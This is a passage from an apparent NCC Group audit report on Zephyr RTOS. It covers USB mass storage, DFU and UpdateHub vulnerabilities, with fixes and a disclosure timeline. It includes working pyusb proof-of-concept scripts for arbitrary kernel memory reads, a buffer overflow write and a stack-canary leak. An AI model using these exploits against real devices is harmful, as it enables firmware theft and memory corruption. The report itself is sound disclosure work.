There is an issue in the interaction between the USB mass storage driver and the RAM storage. If at the start of a transfer the base address is set up to be greater than the total size of the RAM disk, when the USB mass storage driver attempts to adjust the read or write size, an error condition will occur, as shown in the below code snippet taken from the `memoryRead` function:

```
n = (length > MAX_PACKET) ? MAX_PACKET : length;
if ((addr + n) > memory_size) {
    n = memory_size - addr;
    stage = MSC_ERROR; /* NCC: Error condition here, but processing continues */
}

/* we read an entire block */
if (!(addr % BLOCK_SIZE)) {
    thread_op = THREAD_OP_READ_QUEUED;
    LOG_DBG("Signal thread for %d", (addr/BLOCK_SIZE));
    k_sem_give(&disk_wait_sem);
    return;
}
```

Nevertheless, even though the `stage` is set to `MSC_ERROR`, the code proceeds to submit a `THREAD_OP_READ_QUEUED` message to the disk access thread. This message is processed by `mass_thread_main`:

```
case THREAD_OP_READ_QUEUED:
    if (disk_access_read(disk_pdrv, page, (addr/BLOCK_SIZE), 1)) {
        LOG_ERR("!! Disk Read Error %d !", addr/BLOCK_SIZE);
    }
    thread_memory_read_done();
    break;
```

At this point addr is still attacker-controlled and can be a value greater than the total size of memory area dedicated to the disk storage. disk_access_read,[65] in turn, calls the function pointer for the storage read implementation.[66] For the RAM disk, this is implemented in disk_access_ram.c by disk_ram_access_read reproduced below:

```
static int disk_ram_access_read(struct disk_info *disk, u8_t *buff,
                                u32_t sector, u32_t count)
{
    memcpy(buff, lba_to_address(sector), count * RAMDISK_SECTOR_SIZE);
    return 0;
}
```

Neither sector nor count are checked here. Moreover, while lba_to_address does check its lba argument, this is done with an __ASSERT, which is stripped out in release builds, and appears to be intended as a precondition, not suited for checking untrusted input:

```
static void *lba_to_address(u32_t lba)
{
    __ASSERT(((lba*RAMDISK_SECTOR_SIZE) < RAMDISK_VOLUME_SIZE),"FS bound error");
    return &ramdisk_buf[(lba * RAMDISK_SECTOR_SIZE)];
}
```

Thus, a malicious disk read query specifying an address that is greater than the total RAM disk size would eventually get into the disk_ram_access_read function and read memory past the end of the global buffer.

When disk_access_read returns, thread_memory_read_done gets called. This function contains the same code snippet as seen in memoryRead above and it also fails to handle the case where addr is greater than memory_size:

```
static void thread_memory_read_done(void)
{
    u32_t n;

    n = (length > MAX_PACKET) ? MAX_PACKET : length;
    if ((addr + n) > memory_size) {
        n = memory_size - addr; /* NCC: Underflow happens here */
        stage = MSC_ERROR;
    }

    if (usb_write(mass_ep_data[MSD_IN_EP_IDX].ep_addr,
            &page[addr % BLOCK_SIZE], n, NULL) != 0) {
        LOG_ERR("Failed to write EP 0x%x",mass_ep_data[MSD_IN_EP_IDX].ep_addr);
    }
    addr += n;
    length -= n;

    csw.DataResidue -= n;

    if (!length || (stage != MSC_PROCESS_CBW)) {
```

[65] zephyr/subsys/usb/class/mass_storage.c:881 @ be0f5fe0b0
[66] zephyr/subsys/disk/disk_access.c:90 @ be0f5fe0b0

```
        csw.Status = (stage == MSC_PROCESS_CBW) ? CSW_PASSED : CSW_FAILED;
        stage = (stage == MSC_PROCESS_CBW) ? MSC_SEND_CSW : stage;
    }
}
```

As the addr is greater than memory_size, after the size check fails, an underflow occurs when the value is calculated and n gets assigned a large value. usb_write was observed to only write 0x40 bytes at a time on the Kinetis platform (Freedom K64F board), however other boards might differ. Because the stage was set to MSC_ERROR previously, at the end of the function a failure flag is set into csw, which is later sent to the host to indicate that an error has occurred and that there will not be any further READ data returned.

On the Kinetis platform we are limited to reading 0x40 bytes from addresses aligned to 0x200. However, by abusing the page buffer reuse in the WRITE12 command and resetting USB at the right time, it is possible to read out the whole 0x200 bytes, resulting in an arbitrary memory disclosure. An example script that exploits the issue to obtain arbitrary kernel memory contents is included in the "Reproduction Steps" section below.

The same issue exists in the memoryWrite function, which implements the WRITE10 and WRITE12 commands. However, because that function is also susceptible to NCC-ZEP-026, the value of addr must be adjusted by the attacker so that the calculated size is not too large as that would immediately crash the system. This severely limits the possible destinations of the write, and increases the difficulty of exploiting the issue in that case.

Reproduction Steps

The following script exploits the memoryRead vulnerability to read the Zephyr firmware image:

```python
#!/usr/bin/python3
import usb.core
import struct
import time

def p32(x):
    return struct.pack("<I", x)

def p32b(x):
    return struct.pack(">I", x)

def p8(x):
    return struct.pack("<B", x)

def arb_read(dev, addr):
    length = 0x200

    assert addr % 512 == 0
    assert length % 512 == 0

    # READ12 (0xA8)
    cb = p8(0xA8) + p8(0) + p32b(addr // 512) + p32b(length // 512)
    cbw = b"USBC" + p32(0x11223344) + p32(length) + p8(0x80) + p8(0) \
        + p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)
    data = bytes(dev.read(0x81, 0x40))
```

```
    dev.clear_halt(0x81)
    dev.clear_halt(0x2)

    dev.write(2, b"")
    dev.read(0x81, 0x40)

    dev.clear_halt(0x81)
    dev.clear_halt(0x2)

    # now trigger write of the "page" that contains the full 0x200 bytes
    # into ramdisk

    # WRITE12 (0xAA)
    cb = p8(0xAA) + p8(0) + p32b(0) + p32b(1)
    cbw = b"USBC" + p32(0x11223344) + p32(0x200) + p8(0) + p8(0) \
        + p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)

    # send 0 bytes to trigger the write
    dev.write(2, b"")
    time.sleep(0.1)
    # at this point leaked data is written into ramdisk

    # now reset USB device so that the USB state machine resets
    dev.ctrl_transfer(0x20, 0xFF, 0, 0)

    # now read first block of the ramdisk "legitimately"
    cb = p8(0xA8) + p8(0) + p32b(0) + p32b(1)
    cbw = b"USBC" + p32(0x11223344) + p32(0x200) + p8(0x80) + p8(0) \
        + p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)
    data = bytes(dev.read(0x81, 0x200))

    dev.read(0x81, 0x40)

    return data

def main():
    dev = usb.core.find(idVendor=0x2fe3, idProduct=0x0008)

    for cfg in dev:
        for intf in cfg:
            if dev.is_kernel_driver_active(intf.bInterfaceNumber):
                try:
                    dev.detach_kernel_driver(intf.bInterfaceNumber)
                except usb.core.USBError as e:
                    raise RuntimeError("detach_kernel_driver")

    with open("dump.bin", "wb") as outf:
        # device/build-dependent value
        start = 0xdfffdc00
        size = 0x10000
```

```python
        for addr in range(start, start + size, 0x200):
            print("[0x{:x} / 0x{:x}]".format(addr, start + size))
            data = arb_read(dev, addr)
            outf.write(data)


if __name__ == "__main__":
    main()
```

Recommendation

First, the `infoTransfer`[67] function should be revised to return an error if the attacker-controlled `addr` value is greater than `memory_size`:

```c
LOG_DBG("LBA (block) : 0x%x ", n);
addr = n * BLOCK_SIZE;
if (addr >= memory_size) {
    csw.Status = CSW_FAILED;
    sendCSW();
    return false;
}
```

Next, in order to additionally harden the system, implement the following bounds checking within `disk_ram_access_read` and `disk_ram_access_write`. This code will add additional runtime input validation checks, and will ensure that input validation is not performed only by the `__ASSERT` macros which is stripped from release builds.

```c
static int disk_ram_access_read(struct disk_info *disk, u8_t *buff,
                                u32_t sector, u32_t count)
{
    u32_t end;
    if (sector >= RAMDISK_VOLUME_SIZE / RAMDISK_SECTOR_SIZE
            || __builtin_add_overflow(sector, count, &end)
            || end > RAMDISK_VOLUME_SIZE / RAMDISK_SECTOR_SIZE)
        return -EINVAL;

    memcpy(buff, lba_to_address(sector), count * RAMDISK_SECTOR_SIZE);

    return 0;
}
```

[67] zephyr/subsys/usb/class/mass_storage.c:436 @ be0f5fe0b0

Finding	**Out-Of-Bounds Write in the USB Mass Storage `memoryWrite` Handler With Unaligned Sizes**
Risk	**Medium** Impact: High, Exploitability: Medium
Identifier	NCC-ZEP-025
Status	Fixed
Category	Data Validation
Component	Zephyr - USB
Location	`zephyr/subsys/usb/class/mass_storage.c:647` @ `be0f5fe0b0`
Impact	An attacker with physical access to a Zephyr device might be able to cause denial of service or achieve code execution within Zephyr kernel.

Description

The USB mass storage driver enables a Zephyr device to act as an external USB storage drive. The code in `mass_storage.c` is responsible for processing SCSI commands sent over USB and responding to them.

The `WRITE10` and `WRITE12` commands are implemented by the `memoryWrite` function. As the size of the USB packet, `CONFIG_MASS_STORAGE_BULK_EP_MPS` (64), is much less than the storage block size, before the data is flushed to the underlying storage, this function accumulates it in the global `page` buffer of fixed size `BLOCK_SIZE` (512). The relevant part is reproduced below:

```
/* we fill an array in RAM of 1 block before writing it in memory */
for (int i = 0; i < size; i++) {
    page[addr % BLOCK_SIZE + i] = buf[i];
}

/* if the array is filled, write it in memory */
if (!((addr + size) % BLOCK_SIZE)) {
    if (!(disk_access_status(disk_pdrv) & DISK_STATUS_WR_PROTECT)) {
        LOG_DBG("Disk WRITE Qd %d", (addr/BLOCK_SIZE));
        thread_op = THREAD_OP_WRITE_QUEUED;  /* write_queued */
        defered_wr_sz = size;
        k_sem_give(&disk_wait_sem);
        return;
    }
}

addr += size;
```

If at function entry `addr` is misaligned, e.g. 511, then during the copy from `buf` into `page` it could overflow the `page` array. Specifically, with the max USB payload being `0x40` bytes, the copy would overflow by up to `0x3F` bytes. Since the size of the incoming USB packet is attacker-controlled, it is easy to cause such unaligned condition to occur by sending multiple USB packets of specific sizes. For example, in the reproduction script included below, first 511 bytes are written to the device (which would result in multiple packets being sent to the device), followed by a 64-byte packet that causes the overflow to occur.

The exploitability of the issue would then depend on the exact layout of global variables generated by the compiler. For example, on a Freedom K64F build of `samples/subsys/usb/mass`, it was observed that the global `page` array is placed almost at the end of the `bss` and is followed by the globals `stage` and `static_regions_num`. Overflowing into these two variables does not appear to be useful for exploitation. However, other platform builds that place the globals in a different order could result in an exploitable condition.

Reproduction Steps

The following script, when executed as root on the host machine, reproduces the issue:

```
#!/usr/bin/python3
import usb.core
import struct
import time

def p32(x):
    return struct.pack("<I", x)

def p32b(x):
    return struct.pack(">I", x)

def p8(x):
    return struct.pack("<B", x)

def write_overflow(dev):
    addr = 0x0
    length = 0x400

    assert addr % 512 == 0
    assert length % 512 == 0

    # WRITE12 (0xAA)
    cb = p8(0xAA) + p8(0) + p32b(addr // 512) + p32b(length // 512)
    cbw = b"USBC" + p32(0x11223344) + p32(length) + p8(0) + p8(0) + \
        p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)

    # write 0x1FF bytes, so that the address is unaligned as the result
    dev.write(2, b"\x00" * 511)
    time.sleep(0.1)
    dev.write(2, b"\x42" * 64)
    time.sleep(0.1)
    dev.write(2, b"\x00" * (length - 511 - 64))

    dev.read(0x81, 0x40)

def main():
    dev = usb.core.find(idVendor=0x2fe3, idProduct=0x0008)

    for cfg in dev:
        for intf in cfg:
            if dev.is_kernel_driver_active(intf.bInterfaceNumber):
                try:
                    dev.detach_kernel_driver(intf.bInterfaceNumber)
                except usb.core.USBError as e:
```

```
                raise RuntimeError("detach_kernel_driver")

    write_overflow(dev)


if __name__ == "__main__":
    main()
```

If the device does not crash immediately, it might be necessary to attach GDB to confirm that memory corruption has occurred:

```
(gdb) x/64bx page+512
0x20001643 <stage>:             0x04  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x2000164b <logging_stack+3>:   0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x20001653 <logging_stack+11>:  0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x2000165b <logging_stack+19>:  0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x20001663 <logging_stack+27>:  0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x2000166b <logging_stack+35>:  0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x20001673 <logging_stack+43>:  0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x42
0x2000167b <logging_stack+51>:  0x42  0x42  0x42  0x42  0x42  0x42  0x42  0x00
```

Recommendation

As the code is designed around writing blocks of fixed size to memory, it might be difficult to adapt to unaligned USB transfers. The following suggestions describe one possible implementation that resolves the issue:

1. Increase the size of the `page` buffer to at least `BLOCK_SIZE + CONFIG_MASS_STORAGE_BULK_EP_MPS` bytes.
2. When `thread_memory_write_done` is called to complete the write, move the remainder (if any) of the data to the beginning of the buffer.

Finding	**Integer Underflow in USB Mass Storage Driver Write and Verify Handlers**
Risk	**Medium** Impact: High, Exploitability: Medium
Identifier	NCC-ZEP-026
Status	Fixed
Category	Data Validation
Component	Zephyr - USB
Location	• `zephyr/subsys/usb/class/mass_storage.c:600-604` @ `be0f5fe0b0` • `zephyr/subsys/usb/class/mass_storage.c:638-643` @ `be0f5fe0b0`
Impact	An attacker with physical access to the device is able to disclose kernel stack memory contents and potentially obtain code execution within the Zephyr kernel.

Description

The USB mass storage driver enables a Zephyr device to act as an external USB storage device. The code in `mass_storage.c` is responsible for processing SCSI commands sent over USB and responding to them.

The `WRITE10` and `WRITE12` commands are implemented by the `memoryWrite` function, while the `VERIFY10` command is implemented by the `memoryVerify` function. Both functions deal with data sent in by the host and, in the case of `memoryWrite`, this data is written to the underlying storage, while in the case of the `memoryVerify` function, the data is compared with the existing contents of the storage.

The data transfer starts with the `infoTransfer` function, which parses the Command Block included within the Command Block Wrapper[68] and extracts the destination address and total length of the transfer. Then, as new data comes in over USB, either `memoryWrite` or `memoryVerify` are executed. Both of these functions have the same code to deal with invalid input, however in both places the input sanitization checks are performed improperly:

```
if ((addr + size) > memory_size) {
    size = memory_size - addr;
    stage = MSC_ERROR;
    usb_ep_set_stall(mass_ep_data[MSD_OUT_EP_IDX].ep_addr);
    LOG_WRN("Stall OUT endpoint");
}
```

The code above attempts to limit the size of the incoming data so that the total does not exceed `memory_size`. Both `addr` and `size` are controlled by the attacker, with `addr` being an arbitrary value aligned to 512 bytes, and `size` being an arbitrary value up to 64. In the case where `addr` is greater than `memory_size`, the calculated `size` would underflow and, being an unsigned 16-bit variable, can become a value up to `0xFE00`.

Then, in case of `memoryWrite` the data is written into a temporary `page` buffer as follows:

```
/* we fill an array in RAM of 1 block before writing it in memory */
for (int i = 0; i < size; i++) {
    page[addr % BLOCK_SIZE + i] = buf[i];
}
```

[68] Universal Serial Bus Mass Storage Class, pg. 13

When `size` is greater than `CONFIG_MASS_STORAGE_BULK_EP_MPS` (64), reading from `buf[i]` would reference out-of-bounds memory. When `size` is greater than `BLOCK_SIZE` (512), writing to `page[addr%BLOCK_SIZE+i]` would write out-of-bounds into the global variables' area.

This finding could then be exploited either to leak stack memory contents (by setting `size` to a value between 64 and 512 bytes), or to corrupt global kernel memory (by setting `size` to a value larger than 512 bytes). As the contents of the stack buffer `buf` past index 64 are not directly controlled by the attacker, the exploitation of the memory corruption issue is non-trivial and might be impossible, depending on the exact memory layout. A proof of concept exploit that leaks kernel stack memory is provided below.

Reproduction Steps

The following script, when executed on a host machine, exploits the issue and retrieves `0x200` bytes of uninitialized stack memory:

```
#!/usr/bin/python3
import usb.core
import struct
import time

def p32(x):
    return struct.pack("<I", x)

def p32b(x):
    return struct.pack(">I", x)

def p8(x):
    return struct.pack("<B", x)

def stack_leak(dev):
    # addr set up so that the size is 0x200 after the underflow
    # using hardcoded image of size 0x4000
    addr = 0x13E00
    length = 0x200

    assert addr % 512 == 0
    assert length % 512 == 0

    # 1) trigger buffer overflow and a write of stack memory
    #    into the global "page" array
    cb = p8(0xAA) + p8(0) + p32b(addr // 512) + p32b(length // 512)
    cbw = b"USBC" + p32(0x11223344) + p32(length) + p8(0) + p8(0) \
        + p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)

    dev.write(2, b"\xAA" * 4)
    time.sleep(0.1)

    dev.clear_halt(0x2)

    dev.read(0x81, 0x40)

    # 2) write reused "page" into the underlying storage
    cb = p8(0xAA) + p8(0) + p32b(0) + p32b(1)
    cbw = b"USBC" + p32(0x11223344) + p32(0x200) + p8(0) + p8(0) \
```

```
        + p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)

    # send 0 bytes to trigger the write
    dev.write(2, b"")
    time.sleep(0.1)
    # at this point leaked data is written into ramdisk

    # now reset USB device so that the USB state machine resets
    dev.ctrl_transfer(0x20, 0xFF, 0, 0)

    # 3) legitimately read the first block of the storage
    cb = p8(0xA8) + p8(0) + p32b(0) + p32b(1)
    cbw = b"USBC" + p32(0x11223344) + p32(0x200) + p8(0x80) + p8(0) \
        + p8(len(cb)) + cb
    cbw += b"\x00" * (31 - len(cbw))
    dev.write(2, cbw)
    data = bytes(dev.read(0x81, 0x200))

    dev.read(0x81, 0x40)

    return data

def hexdump(data):
    line = ""
    for x, b in enumerate(data):
        if x % 16 == 0 and line:
            print(line)
            line = ""
        line += "{:02X} ".format(b)

    if line:
        print(line)

def main():
    dev = usb.core.find(idVendor=0x2fe3, idProduct=0x0008)

    for cfg in dev:
        for intf in cfg:
            if dev.is_kernel_driver_active(intf.bInterfaceNumber):
                try:
                    dev.detach_kernel_driver(intf.bInterfaceNumber)
                except usb.core.USBError as e:
                    raise RuntimeError("detach_kernel_driver")

    data = stack_leak(dev)
    hexdump(data)


if __name__ == "__main__":
    main()
```

The following output is observed from the script:

```
AA AA AA AA 78 31 00 20 10 00 00 00 FF FF FF FF
15 9D 00 00 10 06 00 20 00 F8 79 5C 10 06 00 20
48 73 00 20 78 31 00 20 4B 9D 00 00 10 06 00 20
00 F8 79 5C 00 ED 00 E0 48 13 00 20 78 31 00 20
00 F8 79 5C F2 FF FF FF 07 00 00 00 00 01 00 20
00 00 00 00 00 00 00 00 55 B8 00 00 48 73 00 20
83 4A 00 00 00 00 00 00 02 01 00 00 01 00 00 00
00 F8 79 5C 00 00 00 00 15 4A 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
5F 10 00 00 15 4A 00 00 00 F8 79 5C 00 00 00 00
00 00 00 00 6C 13 00 20 6C 13 00 20 00 00 00 00
00 80 F2 00 00 00 00 00 D4 05 00 20 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00
00 01 00 20 00 00 00 00 00 00 00 00 55 B8 00 00
48 73 00 20 00 00 00 00 00 00 00 00 A0 05 00 20
00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 20
00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 AB 76 98 00 00 00 00 00 01 00 00 00
00 00 00 00 01 00 00 00 E8 30 00 20 E8 30 00 20
B4 31 00 20 B4 31 00 20 87 27 00 00 B9 A8 00 00
AC 06 00 20 AC 06 00 20 09 13 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 C8 06 00 20
C8 06 00 20 04 00 00 00 28 00 00 00 88 2C 00 20
00 2D 00 20 00 00 00 00 10 73 00 20 10 73 00 20
10 73 00 20 00 02 0E 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 73 00 20 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
F8 18 00 20 00 00 00 00 00 00 00 00 00 00 00 00
48 16 00 20 00 03 00 00 00 00 00 00 00 00 00 00
F5 FF FF FF E4 06 00 20 54 07 00 20 54 07 00 20
20 00 00 00 20 00 00 00 28 2D 00 20 08 31 00 20
```

As this is a build of Zephyr with stack canaries enabled, note how the stack canary is disclosed in the output: `00 F8 79 5C`. Since the stack canary is static across all of Zephyr's threads (as described in NCC-ZEP-012), leaking the stack canary would then allow the attacker to trivially exploit many stack buffer overflow issues.

Recommendation To resolve this issue, the `infoTransfer` fix should be implemented as described in NCC-ZEP-024.

Finding	**USB DFU Mode Allows Reading out the Primary Slot Bypassing Image Encryption**
Risk	**Low** Impact: Low, Exploitability: Medium
Identifier	NCC-ZEP-003
Status	Not Fixed
Category	Data Exposure
Component	Zephyr - USB
Location	`zephyr/subsys/usb/class/usb_dfu.c:480` @ b413223a66
Impact	Encrypted firmware images could be decrypted when the optional USB DFU mode is enabled.

Description

Zephyr includes a USB DFU driver that can handle local firmware updates over USB. MCUboot is one of the users of this driver and has an option to wait for DFU communications on boot. The DFU mode supports both download (writing firmware to flash) and upload (reading out the firmware image) commands.

MCUboot additionally implements optional firmware image encryption, with the encryption key stored within the bootloader.[69] During the firmware update process, an encrypted firmware image is written into the secondary image slot and then decrypted by the bootloader into the primary slot on the next boot.

When both the Zephyr USB DFU and MCUboot encrypted images features are enabled, an attacker with physical access could defeat the encryption by sending an UPLOAD DFU command to Zephyr, requesting to read out the primary slot. As the image stored in the primary slot is plaintext, this would bypass the firmware image confidentiality guarantees.

Recommendation

It is not clear from the MCUboot documentation whether the behavior is intended. The documentation's threat model states[70]:

> *It does not protect against the possibility of attaching a JTAG and reading the internal flash memory, or using some attack vector that enables dumping the internal flash in any way.*

It is not explained whether the optional built-in USB DFU mode counts as a "vector that enables dumping the internal flash in any way." NCC Group suggests that either the MCUboot documentation should be altered to describe the limitation, or an option to disable the DFU UPLOAD command should be introduced in Zephyr.

[69] mcuboot/docs/encrypted_images.md
[70] mcuboot - Encrypted images - Threat model

Finding	**UpdateHub Module Copies a Variable-Size Hash String Into a Fixed-Size Array**
Risk	**Medium** Impact: High, Exploitability: Medium
Identifier	NCC-ZEP-016
Status	Fixed
Category	Data Validation
Component	Zephyr - UpdateHub
Location	• `zephyr/lib/updatehub/updatehub.c:690-692` @ `be0f5fe0b0` • `zephyr/lib/updatehub/updatehub.c:701-704` @ `be0f5fe0b0`
Impact	A malformed JSON payload that is received from an UpdateHub server may trigger memory corruption in the Zephyr OS. This could result in a denial of service in the best case, or code execution in the worst case.

Description

UpdateHub is an over-the-air firmware update solution marketed for IoT devices. The UpdateHub server communicates with the client through CoAP,[71] using JSON payloads embedded within the body.

There are two places within the `updatehub_probe` function that perform a `memcpy` of a variable-sized string into a fixed-size array:

```
if (json_obj_parse(metadata, strlen(metadata),
                   recv_probe_sh_array_descr,
                   ARRAY_SIZE(recv_probe_sh_array_descr),
                   &metadata_some_boards) < 0)
{
    if (json_obj_parse(metadata_copy, strlen(metadata_copy),
                       recv_probe_sh_string_descr,
                       ARRAY_SIZE(recv_probe_sh_string_descr),
                       &metadata_any_boards) < 0)
    {
        LOG_ERR("Could not parse json");
        ctx.code_status = UPDATEHUB_METADATA_ERROR;
        goto cleanup;
    }

    memcpy(update_info.sha256sum_image,
           metadata_any_boards.objects[1].objects.sha256sum,
           strlen(metadata_any_boards.objects[1].objects.sha256sum));
    update_info.image_size = metadata_any_boards.objects[1].objects.size;
} else {
    if (!is_compatible_hardware(&metadata_some_boards)) {
        LOG_ERR("Incompatible hardware");
        ctx.code_status = UPDATEHUB_INCOMPATIBLE_HARDWARE;
        goto cleanup;
    }
    memcpy(update_info.sha256sum_image,
           metadata_some_boards.objects[1].objects.sha256sum,
```

[71] RFC 7252 - The Constrained Application Protocol (CoAP)

```
        strlen(metadata_some_boards.objects[1].objects.sha256sum));
    update_info.image_size = metadata_some_boards.objects[1].objects.size;
}
```

The `update_info.sha256sum_image` array is sized `TC_SHA256_BLOCK_SIZE + 1` (65) bytes and the source string, `objects[1].objects.sha256sum`, is of variable size. If the length of the source string is greater than `TC_SHA256_BLOCK_SIZE + 1`, a buffer overflow would occur. Such a malformed JSON payload could be supplied by a malicious UpdateHub server, or even a man-in-the-middle as per NCC-ZEP-018.

When Zephyr is compiled with GCC, the `FORTIFY_SOURCE=2` compiler option is always enabled[72] and so the overflow would be caught by the compiler and result in a runtime assertion. However, when Clang is used, the fortification option is not used,[73] resulting in the issue being potentially exploitable.

Recommendation Check that the length of `metadata_any_boards.objects[1].objects.sha256sum` or `metadata_some_boards.objects[1].objects.sha256sum` is not greater than `TC_SHA256_BLOCK_SIZE`. If it is, the update JSON should be rejected.

Additionally, NCC Group recommends enabling `_FORTIFY_SOURCE` for Clang-based builds.

[72] `zephyr/cmake/compiler/gcc/target_security_fortify.cmake:11` @ `be0f5fe0b0`
[73] `zephyr/cmake/compiler/clang/target.cmake:92` @ `be0f5fe0b0`

Finding	**UpdateHub Module Explicitly Disables TLS Verification**
Risk	**Low** Impact: Low, Exploitability: Low
Identifier	NCC-ZEP-018
Status	Fixed
Category	Cryptography
Component	Zephyr - UpdateHub
Location	`zephyr/lib/updatehub/updatehub.c:144–178` @ `be0f5fe0b0`
Impact	A remote attacker is able to intercept and modify communications between a Zephyr device and an UpdateHub server even when DTLS is enabled.

Description

UpdateHub is an over-the-air firmware update solution marketed for IoT devices. The free open-source version, UpdateHub Community Edition, is limited to plaintext CoAP communications, while UpdateHub Cloud supports CoAP with DTLS encryption.

The UpdateHub module in Zephyr uses plaintext communications by default. DTLS encryption can be enabled with the `CONFIG_UPDATEHUB_DTLS` build option. However, the following code snippet is present in the UpdateHub module that reveals that peer verification is explicitly disabled:

```
int verify = TLS_PEER_VERIFY_NONE;

/* ... */

if (setsockopt(ctx.sock, SOL_TLS, TLS_PEER_VERIFY, &verify, sizeof(int)) < 0) {
    LOG_ERR("Failed to set TLS_PEER_VERIFY option");
    return false;
}
```

While the lack of peer verification is unlikely to allow a remote attacker to replace the firmware image (so long as secure boot and rollback protection is in effect), it could expose additional attack surface in the underlying implementation of the protocol.

Recommendation

Do not disable TLS peer verification in the UpdateHub module.

Finding **UpdateHub Might Dereference an Uninitialized Pointer**

Risk **Low** Impact: Low, Exploitability: Low

Identifier NCC-ZEP-030

Status Partially Fixed

Category Data Validation

Component Zephyr - UpdateHub

Location zephyr/lib/updatehub/updatehub.c:676-707 @ `be0f5fe0b0`

Impact A malformed JSON payload that is received from an UpdateHub server may trigger memory corruption in the Zephyr OS. This could result in a denial of service in the best case, or an information leak in the worst case.

Description Zephyr's UpdateHub module parses the JSON payload returned by the UpdateHub server to extract information such as a SHA-256 hash of the update image. The function responsible for the parsing, `json_obj_parse`, takes `json_obj_descr` as an argument. The `json_obj_descr` defines the layout of a JSON object so that it could be parsed into a C structure.[74] This implementation, for example, ensures that the JSON parser does not try to write a potentially unlimited number of elements into a C array of a fixed size.

In `updatehub_probe`, right after JSON parsing is complete, `objects[1]` is accessed from the output structure in two different places:

```
memcpy(update_info.sha256sum_image,
        metadata_any_boards.objects[1].objects.sha256sum,
        strlen(metadata_any_boards.objects[1].objects.sha256sum));
```

```
memcpy(update_info.sha256sum_image,
        metadata_some_boards.objects[1].objects.sha256sum,
        strlen(metadata_some_boards.objects[1].objects.sha256sum));
```

If the JSON array contained less than two elements, this access would reference uninitialized stack memory. In the case where reading uninitialized memory returns an invalid pointer, this would result in a crash. If the pointer happens to be valid, or if a remote attacker is able to manipulate its value, then later when a request URL is constructed from the referenced data,[75] it might result in a limited disclosure of kernel memory, provided that a remote attacker is able to intercept communications between the device and the UpdateHub server.

Recommendation Check that `objects_len`[76] is at least 2 before performing array access.

[74] `zephyr/lib/updatehub/updatehub_priv.h:163` @ `be0f5fe0b0`
[75] `zephyr/lib/updatehub/updatehub.c:228` @ `be0f5fe0b0`
[76] `zephyr/lib/updatehub/updatehub_priv.h:102` @ `be0f5fe0b0`

Appendix A: Finding Field Definitions

The following sections describe the risk rating and category assigned to issues NCC Group identified.

Risk Scale

NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors. The risk rating is NCC Group's recommended prioritization for addressing findings. Every organization has a different risk sensitivity, so to some extent these recommendations are more relative than absolute guidelines.

Overall Risk

Overall risk reflects NCC Group's estimation of the risk that a finding poses to the target system or systems. It takes into account the impact of the finding, the difficulty of exploitation, and any other relevant factors.

Critical Implies an immediate, easily accessible threat of total compromise.

High Implies an immediate threat of system compromise, or an easily accessible threat of large-scale breach.

Medium A difficult to exploit threat of large-scale breach, or easy compromise of a small portion of the application.

Low Implies a relatively minor threat to the application.

Informational No immediate threat to the application. May provide suggestions for application improvement, functional issues with the application, or conditions that could later lead to an exploitable finding.

Impact

Impact reflects the effects that successful exploitation has upon the target system or systems. It takes into account potential losses of confidentiality, integrity and availability, as well as potential reputational losses.

High Attackers can read or modify all data in a system, execute arbitrary code on the system, or escalate their privileges to superuser level.

Medium Attackers can read or modify some unauthorized data on a system, deny access to that system, or gain significant internal technical information.

Low Attackers can gain small amounts of unauthorized information or slightly degrade system performance. May have a negative public perception of security.

Exploitability

Exploitability reflects the ease with which attackers may exploit a finding. It takes into account the level of access required, availability of exploitation information, requirements relating to social engineering, race conditions, brute forcing, etc, and other impediments to exploitation.

High Attackers can unilaterally exploit the finding without special permissions or significant roadblocks.

Medium Attackers would need to leverage a third party, gain non-public information, exploit a race condition, already have privileged access, or otherwise overcome moderate hurdles in order to exploit the finding.

Low Exploitation requires implausible social engineering, a difficult race condition, guessing difficult-to-guess data, or is otherwise unlikely.

Category

NCC Group categorizes findings based on the security area to which those findings belong. This can help organizations identify gaps in secure development, deployment, patching, etc.

Access Controls	Related to authorization of users, and assessment of rights.
Auditing and Logging	Related to auditing of actions, or logging of problems.
Authentication	Related to the identification of users.
Configuration	Related to security configurations of servers, devices, or software.
Cryptography	Related to mathematical protections for data.
Data Exposure	Related to unintended exposure of sensitive information.
Data Validation	Related to improper reliance on the structure or values of data.
Denial of Service	Related to causing system failure.
Error Reporting	Related to the reporting of error conditions in a secure fashion.
Patching	Related to keeping software up to date.
Session Management	Related to the identification of authenticated users.
Timing	Related to race conditions, locking, or order of operations.

Appendix B: Disclosure Timeline

- **February 18, 2020**: Joined the Zephyr `#security` slack channel, asking for advice on the vulnerability disclosure process, as the wiki documentation appeared to be out of date and did not include a link to their Jira instance.
- **February 18, 2020**: Zephyr provided a link to the Jira instance.
- **February 20, 2020**: Experienced difficulty reporting issues through Jira, asked for help in the Slack channel, was told to email the vulnerability report to Zephyr PSIRT Team (*vulnerabilities@zephyrproject.org*).
- **February 24, 2020**: Sent vulnerability report to Zephyr PSIRT.
- **February 26, 2020**: Queried Zephyr PSIRT to confirm receipt of vulnerability disclosure.
- **February 26, 2020**: Zephyr security team member confirmed receipt of report.
- **March 2, 2020**: Asked for update on patch progress.
